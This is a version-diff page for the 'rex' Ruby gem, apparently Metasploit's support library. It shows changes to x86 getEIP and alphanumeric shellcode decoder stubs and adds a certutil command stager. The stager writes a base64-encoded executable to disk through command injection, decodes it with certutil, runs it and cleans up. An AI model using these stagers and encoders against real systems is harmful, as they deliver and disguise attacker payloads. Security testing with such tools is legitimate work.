rex 2.0.8 → 2.0.9
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 5a35ae088f817815b2d3cd56ad4f298a1dc36a73
|
4
|
+
data.tar.gz: f486b6412dd555646eb747c4b65a4b01dd623f38
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 96d9eed7f6fa713ae93f52a629113b9f5cdb41aed48db814731612bf2dbe74a0c657f83905640e188c1dcb622b3781125737e1faf1b06ab1eb29d15e99941acc
|
7
|
+
data.tar.gz: a7092a603aeab1a5291f522438f8a94a56e28a6f6134d1024c1b8fce85956e0432e818bf83fcee1710bdd2aeeb0c1bf2b297e7f40154f2a7544f20fb043d69f0
|
data/lib/rex.rb
CHANGED
data/lib/rex/arch.rb
CHANGED
@@ -18,6 +18,7 @@ module Arch
|
|
18
18
|
#
|
19
19
|
require 'rex/arch/x86'
|
20
20
|
require 'rex/arch/sparc'
|
21
|
+
require 'rex/arch/zarch'
|
21
22
|
|
22
23
|
#
|
23
24
|
# This routine adjusts the stack pointer for a given architecture.
|
@@ -64,6 +65,8 @@ module Arch
|
|
64
65
|
[addr].pack('V')
|
65
66
|
when ARCH_ARMBE
|
66
67
|
[addr].pack('N')
|
68
|
+
when ARCH_ZARCH
|
69
|
+
[addr].pack('Q>')
|
67
70
|
end
|
68
71
|
end
|
69
72
|
|
@@ -95,6 +98,8 @@ module Arch
|
|
95
98
|
return ENDIAN_LITTLE
|
96
99
|
when ARCH_ARMBE
|
97
100
|
return ENDIAN_BIG
|
101
|
+
when ARCH_ZARCH
|
102
|
+
return ENDIAN_BIG
|
98
103
|
end
|
99
104
|
|
100
105
|
return ENDIAN_LITTLE
|
data/lib/rex/arch/x86.rb
CHANGED
@@ -421,8 +421,7 @@ module X86
|
|
421
421
|
# This method returns an array containing a geteip stub, a register, and an offset
|
422
422
|
# This method will return nil if the getip generation fails
|
423
423
|
#
|
424
|
-
def self.geteip_fpu(badchars)
|
425
|
-
|
424
|
+
def self.geteip_fpu(badchars, modified_registers = [])
|
426
425
|
#
|
427
426
|
# Default badchars to an empty string
|
428
427
|
#
|
@@ -470,18 +469,29 @@ module X86
|
|
470
469
|
#
|
471
470
|
while(dsts.length > 0)
|
472
471
|
buf = ''
|
472
|
+
mod_registers = [ESP]
|
473
473
|
dst = dsts[ rand(dsts.length) ]
|
474
474
|
dsts.delete(dst)
|
475
475
|
|
476
476
|
# If the register is not ESP, copy ESP
|
477
477
|
if (dst != ESP)
|
478
|
-
|
478
|
+
mod_registers.push(dst)
|
479
|
+
if badchars.index( (0x70 + dst).chr )
|
480
|
+
mod_registers.pop(dst)
|
481
|
+
next
|
482
|
+
end
|
479
483
|
|
480
484
|
if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
|
481
485
|
buf << "\x89" + (0xE0 + dst).chr
|
482
486
|
else
|
483
|
-
|
484
|
-
|
487
|
+
if badchars.index("\x54")
|
488
|
+
mod_registers.pop(dst)
|
489
|
+
next
|
490
|
+
end
|
491
|
+
if badchars.index( (0x58+dst).chr )
|
492
|
+
mod_registers.pop(dst)
|
493
|
+
next
|
494
|
+
end
|
485
495
|
buf << "\x54" + (0x58 + dst).chr
|
486
496
|
end
|
487
497
|
end
|
@@ -506,6 +516,7 @@ module X86
|
|
506
516
|
regs.delete(reg)
|
507
517
|
next if reg == ESP
|
508
518
|
next if badchars.index( (0x58 + reg).chr )
|
519
|
+
mod_registers.push(reg)
|
509
520
|
|
510
521
|
# Pop the value back out
|
511
522
|
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
|
@@ -513,8 +524,11 @@ module X86
|
|
513
524
|
# Fix the value to point to self
|
514
525
|
gap = out.length - buf.length
|
515
526
|
|
527
|
+
mod_registers.uniq!
|
528
|
+
modified_registers.concat(mod_registers)
|
516
529
|
return [out, REG_NAMES32[reg].upcase, gap]
|
517
530
|
end
|
531
|
+
mod_registers.pop(dst)
|
518
532
|
end
|
519
533
|
|
520
534
|
return nil
|
data/lib/rex/compat.rb
CHANGED
@@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|
166
166
|
app_data = ENV['APPDATA']
|
167
167
|
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
|
168
168
|
|
169
|
-
paths.each do |
|
170
|
-
if File.exists?(
|
171
|
-
args = (
|
169
|
+
paths.each do |path|
|
170
|
+
if File.exists?(path)
|
171
|
+
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
|
172
172
|
system("#{path} #{args} #{url}")
|
173
173
|
found_browser = true
|
174
174
|
break
|
@@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|
188
188
|
end
|
189
189
|
else
|
190
190
|
if defined? ENV['PATH']
|
191
|
-
['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
|
191
|
+
['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
|
192
192
|
ENV['PATH'].split(':').each do |path|
|
193
193
|
browser_path = "#{path}/#{browser}"
|
194
194
|
if File.exists?(browser_path)
|
195
195
|
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
|
196
196
|
system("#{browser_path} #{args} #{url} &")
|
197
197
|
found_browser = true
|
198
|
+
break
|
198
199
|
end
|
199
200
|
end
|
200
201
|
end
|
data/lib/rex/constants.rb
CHANGED
@@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik'
|
|
88
88
|
ARCH_PYTHON = 'python'
|
89
89
|
ARCH_NODEJS = 'nodejs'
|
90
90
|
ARCH_FIREFOX = 'firefox'
|
91
|
+
ARCH_ZARCH = 'zarch'
|
91
92
|
ARCH_TYPES =
|
92
93
|
[
|
93
94
|
ARCH_X86,
|
@@ -110,7 +111,8 @@ ARCH_TYPES =
|
|
110
111
|
ARCH_DALVIK,
|
111
112
|
ARCH_PYTHON,
|
112
113
|
ARCH_NODEJS,
|
113
|
-
ARCH_FIREFOX
|
114
|
+
ARCH_FIREFOX,
|
115
|
+
ARCH_ZARCH,
|
114
116
|
]
|
115
117
|
|
116
118
|
ARCH_ALL = ARCH_TYPES
|
@@ -8,22 +8,49 @@ module Alpha2
|
|
8
8
|
|
9
9
|
class AlphaMixed < Generic
|
10
10
|
|
11
|
-
|
12
|
-
|
13
|
-
|
11
|
+
# Generates the decoder stub prefix
|
12
|
+
#
|
13
|
+
# @param [String] reg the register pointing to the encoded payload
|
14
|
+
# @param [Fixnum] offset the offset to reach the encoded payload
|
15
|
+
# @param [Array] modified_registers accounts the registers modified by the stub
|
16
|
+
# @return [String] the alpha mixed decoder stub prefix
|
17
|
+
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
18
|
+
if offset > 32
|
19
|
+
raise 'Critical: Offset is greater than 32'
|
14
20
|
end
|
15
21
|
|
22
|
+
mod_registers = []
|
23
|
+
nop_regs = []
|
24
|
+
mod_regs = []
|
25
|
+
edx_regs = []
|
26
|
+
|
16
27
|
# use inc ebx as a nop here so we still pad correctly
|
17
|
-
if
|
28
|
+
if offset <= 16
|
18
29
|
nop = 'C' * offset
|
30
|
+
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
31
|
+
|
19
32
|
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
|
33
|
+
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
|
34
|
+
mod_regs.concat(nop_regs)
|
35
|
+
mod_regs.push(Rex::Arch::X86::EDX)
|
36
|
+
|
20
37
|
edxmod = 'J' * (17 - offset)
|
38
|
+
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
21
39
|
else
|
22
40
|
mod = 'A' * (offset - 16)
|
41
|
+
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
42
|
+
|
23
43
|
nop = 'C' * (16 - mod.length)
|
44
|
+
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
45
|
+
|
24
46
|
mod << nop + '7QZ'
|
47
|
+
mod_regs.concat(nop_regs)
|
48
|
+
mod_regs.push(Rex::Arch::X86::EDX)
|
49
|
+
|
25
50
|
edxmod = 'B' * (17 - (offset - 16))
|
51
|
+
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
26
52
|
end
|
53
|
+
|
27
54
|
regprefix = {
|
28
55
|
'EAX' => 'PY' + mod, # push eax, pop ecx
|
29
56
|
'ECX' => 'I' + mod, # dec ecx
|
@@ -36,15 +63,38 @@ class AlphaMixed < Generic
|
|
36
63
|
}
|
37
64
|
|
38
65
|
reg.upcase!
|
39
|
-
|
40
|
-
|
66
|
+
|
67
|
+
unless regprefix.keys.include?(reg)
|
68
|
+
raise ArgumentError.new('Invalid register name')
|
41
69
|
end
|
70
|
+
|
71
|
+
case reg
|
72
|
+
when 'EDX'
|
73
|
+
mod_registers.concat(edx_regs)
|
74
|
+
mod_registers.concat(nop_regs)
|
75
|
+
mod_registers.push(Rex::Arch::X86::ECX)
|
76
|
+
else
|
77
|
+
mod_registers.push(Rex::Arch::X86::ECX)
|
78
|
+
mod_registers.concat(mod_regs)
|
79
|
+
end
|
80
|
+
|
81
|
+
mod_registers.uniq!
|
82
|
+
modified_registers.concat(mod_registers)
|
83
|
+
|
42
84
|
return regprefix[reg]
|
43
85
|
end
|
44
86
|
|
45
|
-
|
87
|
+
# Generates the decoder stub
|
88
|
+
#
|
89
|
+
# @param [String] reg the register pointing to the encoded payload
|
90
|
+
# @param [Fixnum] offset the offset to reach the encoded payload
|
91
|
+
# @param [Array] modified_registers accounts the registers modified by the stub
|
92
|
+
# @return [String] the alpha mixed decoder stub
|
93
|
+
def self.gen_decoder(reg, offset, modified_registers = [])
|
94
|
+
mod_registers = []
|
95
|
+
|
46
96
|
decoder =
|
47
|
-
gen_decoder_prefix(reg, offset) +
|
97
|
+
gen_decoder_prefix(reg, offset, mod_registers) +
|
48
98
|
"jA" + # push 0x41
|
49
99
|
"X" + # pop eax
|
50
100
|
"P" + # push eax
|
@@ -62,7 +112,18 @@ class AlphaMixed < Generic
|
|
62
112
|
"uJ" + # jnz short -------------------------
|
63
113
|
"I" # first encoded char, fixes the above J
|
64
114
|
|
65
|
-
|
115
|
+
mod_registers.concat(
|
116
|
+
[
|
117
|
+
Rex::Arch::X86::ESP,
|
118
|
+
Rex::Arch::X86::EAX,
|
119
|
+
Rex::Arch::X86::ECX,
|
120
|
+
Rex::Arch::X86::EDX
|
121
|
+
])
|
122
|
+
|
123
|
+
mod_registers.uniq!
|
124
|
+
modified_registers.concat(mod_registers)
|
125
|
+
|
126
|
+
decoder
|
66
127
|
end
|
67
128
|
|
68
129
|
end end end end
|
@@ -9,21 +9,47 @@ module Alpha2
|
|
9
9
|
class AlphaUpper < Generic
|
10
10
|
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
11
11
|
|
12
|
-
|
13
|
-
|
14
|
-
|
12
|
+
# Generates the decoder stub prefix
|
13
|
+
#
|
14
|
+
# @param [String] reg the register pointing to the encoded payload
|
15
|
+
# @param [Fixnum] offset the offset to reach the encoded payload
|
16
|
+
# @param [Array] modified_registers accounts the registers modified by the stub
|
17
|
+
# @return [String] the alpha upper decoder stub prefix
|
18
|
+
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
19
|
+
if offset > 20
|
20
|
+
raise 'Critical: Offset is greater than 20'
|
15
21
|
end
|
16
22
|
|
23
|
+
mod_registers = []
|
24
|
+
nop_regs = []
|
25
|
+
mod_regs = []
|
26
|
+
edx_regs = []
|
27
|
+
|
17
28
|
# use inc ebx as a nop here so we still pad correctly
|
18
29
|
if (offset <= 10)
|
19
30
|
nop = 'C' * offset
|
31
|
+
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
32
|
+
|
20
33
|
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
|
34
|
+
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
|
35
|
+
mod_regs.concat(nop_regs)
|
36
|
+
mod_regs.push(Rex::Arch::X86::EDX)
|
37
|
+
|
21
38
|
edxmod = 'J' * (11 - offset)
|
39
|
+
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
22
40
|
else
|
23
41
|
mod = 'A' * (offset - 10)
|
42
|
+
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
43
|
+
|
24
44
|
nop = 'C' * (10 - mod.length)
|
45
|
+
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
46
|
+
|
25
47
|
mod << nop + 'QZ'
|
48
|
+
mod_regs.concat(nop_regs)
|
49
|
+
mod_regs.push(Rex::Arch::X86::EDX)
|
50
|
+
|
26
51
|
edxmod = 'B' * (11 - (offset - 10))
|
52
|
+
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
27
53
|
end
|
28
54
|
regprefix = {
|
29
55
|
'EAX' => 'PY' + mod, # push eax, pop ecx
|
@@ -33,20 +59,41 @@ class AlphaUpper < Generic
|
|
33
59
|
'ESP' => 'TY' + mod, # push esp, pop ecx
|
34
60
|
'EBP' => 'UY' + mod, # push ebp, pop ecx
|
35
61
|
'ESI' => 'VY' + mod, # push esi, pop ecx
|
36
|
-
'EDI' => 'WY' + mod, # push edi, pop
|
62
|
+
'EDI' => 'WY' + mod, # push edi, pop ecx
|
37
63
|
}
|
38
64
|
|
39
65
|
reg.upcase!
|
40
|
-
|
66
|
+
unless regprefix.keys.include?(reg)
|
41
67
|
raise ArgumentError.new("Invalid register name")
|
42
68
|
end
|
43
|
-
return regprefix[reg]
|
44
69
|
|
70
|
+
case reg
|
71
|
+
when 'EDX'
|
72
|
+
mod_registers.concat(edx_regs)
|
73
|
+
mod_registers.concat(nop_regs)
|
74
|
+
mod_registers.push(Rex::Arch::X86::ECX)
|
75
|
+
else
|
76
|
+
mod_registers.push(Rex::Arch::X86::ECX)
|
77
|
+
mod_registers.concat(mod_regs)
|
78
|
+
end
|
79
|
+
|
80
|
+
mod_registers.uniq!
|
81
|
+
modified_registers.concat(mod_registers)
|
82
|
+
|
83
|
+
return regprefix[reg]
|
45
84
|
end
|
46
85
|
|
47
|
-
|
86
|
+
# Generates the decoder stub
|
87
|
+
#
|
88
|
+
# @param [String] reg the register pointing to the encoded payload
|
89
|
+
# @param [Fixnum] offset the offset to reach the encoded payload
|
90
|
+
# @param [Array] modified_registers accounts the registers modified by the stub
|
91
|
+
# @return [String] the alpha upper decoder stub
|
92
|
+
def self.gen_decoder(reg, offset, modified_registers = [])
|
93
|
+
mod_registers = []
|
94
|
+
|
48
95
|
decoder =
|
49
|
-
gen_decoder_prefix(reg, offset) +
|
96
|
+
gen_decoder_prefix(reg, offset, mod_registers) +
|
50
97
|
"V" + # push esi
|
51
98
|
"T" + # push esp
|
52
99
|
"X" + # pop eax
|
@@ -73,6 +120,18 @@ class AlphaUpper < Generic
|
|
73
120
|
"JJ" + # jnz * --------------------
|
74
121
|
"I" # first encoded char, fixes the above J
|
75
122
|
|
123
|
+
mod_registers.concat(
|
124
|
+
[
|
125
|
+
Rex::Arch::X86::ESP,
|
126
|
+
Rex::Arch::X86::EAX,
|
127
|
+
Rex::Arch::X86::ESI,
|
128
|
+
Rex::Arch::X86::ECX,
|
129
|
+
Rex::Arch::X86::EDX
|
130
|
+
])
|
131
|
+
|
132
|
+
mod_registers.uniq!
|
133
|
+
modified_registers.concat(mod_registers)
|
134
|
+
|
76
135
|
return decoder
|
77
136
|
end
|
78
137
|
|
@@ -2,6 +2,7 @@
|
|
2
2
|
|
3
3
|
require 'rex/exploitation/cmdstager/base'
|
4
4
|
require 'rex/exploitation/cmdstager/vbs'
|
5
|
+
require 'rex/exploitation/cmdstager/certutil'
|
5
6
|
require 'rex/exploitation/cmdstager/debug_write'
|
6
7
|
require 'rex/exploitation/cmdstager/debug_asm'
|
7
8
|
require 'rex/exploitation/cmdstager/tftp'
|
@@ -0,0 +1,115 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
require 'rex/text'
|
4
|
+
require 'rex/arch'
|
5
|
+
require 'msf/core/framework'
|
6
|
+
|
7
|
+
module Rex
|
8
|
+
module Exploitation
|
9
|
+
|
10
|
+
###
|
11
|
+
#
|
12
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
13
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
14
|
+
# be written to disk and executed.
|
15
|
+
#
|
16
|
+
# This particular version uses Windows certutil to base64 decode a file,
|
17
|
+
# created via echo >>, and decode it to the final binary.
|
18
|
+
#
|
19
|
+
#
|
20
|
+
# Written by xistence
|
21
|
+
# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
|
22
|
+
#
|
23
|
+
###
|
24
|
+
|
25
|
+
class CmdStagerCertutil < CmdStagerBase
|
26
|
+
|
27
|
+
def initialize(exe)
|
28
|
+
super
|
29
|
+
|
30
|
+
@var_encoded = Rex::Text.rand_text_alpha(5)
|
31
|
+
@var_decoded = Rex::Text.rand_text_alpha(5)
|
32
|
+
@decoder = nil # filled in later
|
33
|
+
end
|
34
|
+
|
35
|
+
|
36
|
+
# Override just to set the extra byte count
|
37
|
+
# @param opts [Array] The options to generate the command line
|
38
|
+
# @return [Array] The complete command line
|
39
|
+
def generate_cmds(opts)
|
40
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
41
|
+
@cmd_start = "echo "
|
42
|
+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
43
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
44
|
+
opts.merge!({ :extra => xtra_len })
|
45
|
+
super
|
46
|
+
end
|
47
|
+
|
48
|
+
|
49
|
+
# Simple base64 encoder for the executable
|
50
|
+
# @param opts [Array] The options to generate the command line
|
51
|
+
# @return [String] Base64 encoded executable
|
52
|
+
def encode_payload(opts)
|
53
|
+
Rex::Text.encode_base64(@exe)
|
54
|
+
end
|
55
|
+
|
56
|
+
|
57
|
+
# Combine the parts of the encoded file with the stuff that goes
|
58
|
+
# before / after it.
|
59
|
+
# @param parts [Array] Splitted commands
|
60
|
+
# @param opts [Array] The options to generate the command line
|
61
|
+
# @return [Array] The command line
|
62
|
+
def parts_to_commands(parts, opts)
|
63
|
+
|
64
|
+
cmds = []
|
65
|
+
parts.each do |p|
|
66
|
+
cmd = ''
|
67
|
+
cmd << @cmd_start
|
68
|
+
cmd << p
|
69
|
+
cmd << @cmd_end
|
70
|
+
cmds << cmd
|
71
|
+
end
|
72
|
+
|
73
|
+
cmds
|
74
|
+
end
|
75
|
+
|
76
|
+
|
77
|
+
# Generate the commands that will decode the file we just created
|
78
|
+
# @param opts [Array] The options to generate the command line
|
79
|
+
# @return [Array] The certutil Base64 decoder part of the command line
|
80
|
+
def generate_cmds_decoder(opts)
|
81
|
+
|
82
|
+
cmds = []
|
83
|
+
cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
|
84
|
+
return cmds
|
85
|
+
end
|
86
|
+
|
87
|
+
|
88
|
+
# We override compress commands just to stick in a few extra commands
|
89
|
+
# last second..
|
90
|
+
# @param cmds [Array] Complete command line
|
91
|
+
# @param opts [Array] Extra options for command line generation
|
92
|
+
# @return [Array] The complete command line including cleanup
|
93
|
+
def compress_commands(cmds, opts)
|
94
|
+
# Make it all happen
|
95
|
+
cmds << "#{@tempdir}#{@var_decoded}.exe"
|
96
|
+
|
97
|
+
# Clean up after unless requested not to..
|
98
|
+
if (not opts[:nodelete])
|
99
|
+
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
100
|
+
# NOTE: We won't be able to delete the exe while it's in use.
|
101
|
+
end
|
102
|
+
|
103
|
+
super
|
104
|
+
end
|
105
|
+
|
106
|
+
# Windows uses & to concat strings
|
107
|
+
#
|
108
|
+
# @return [String] Concat operator
|
109
|
+
def cmd_concat_operator
|
110
|
+
" & "
|
111
|
+
end
|
112
|
+
|
113
|
+
end
|
114
|
+
end
|
115
|
+
end
|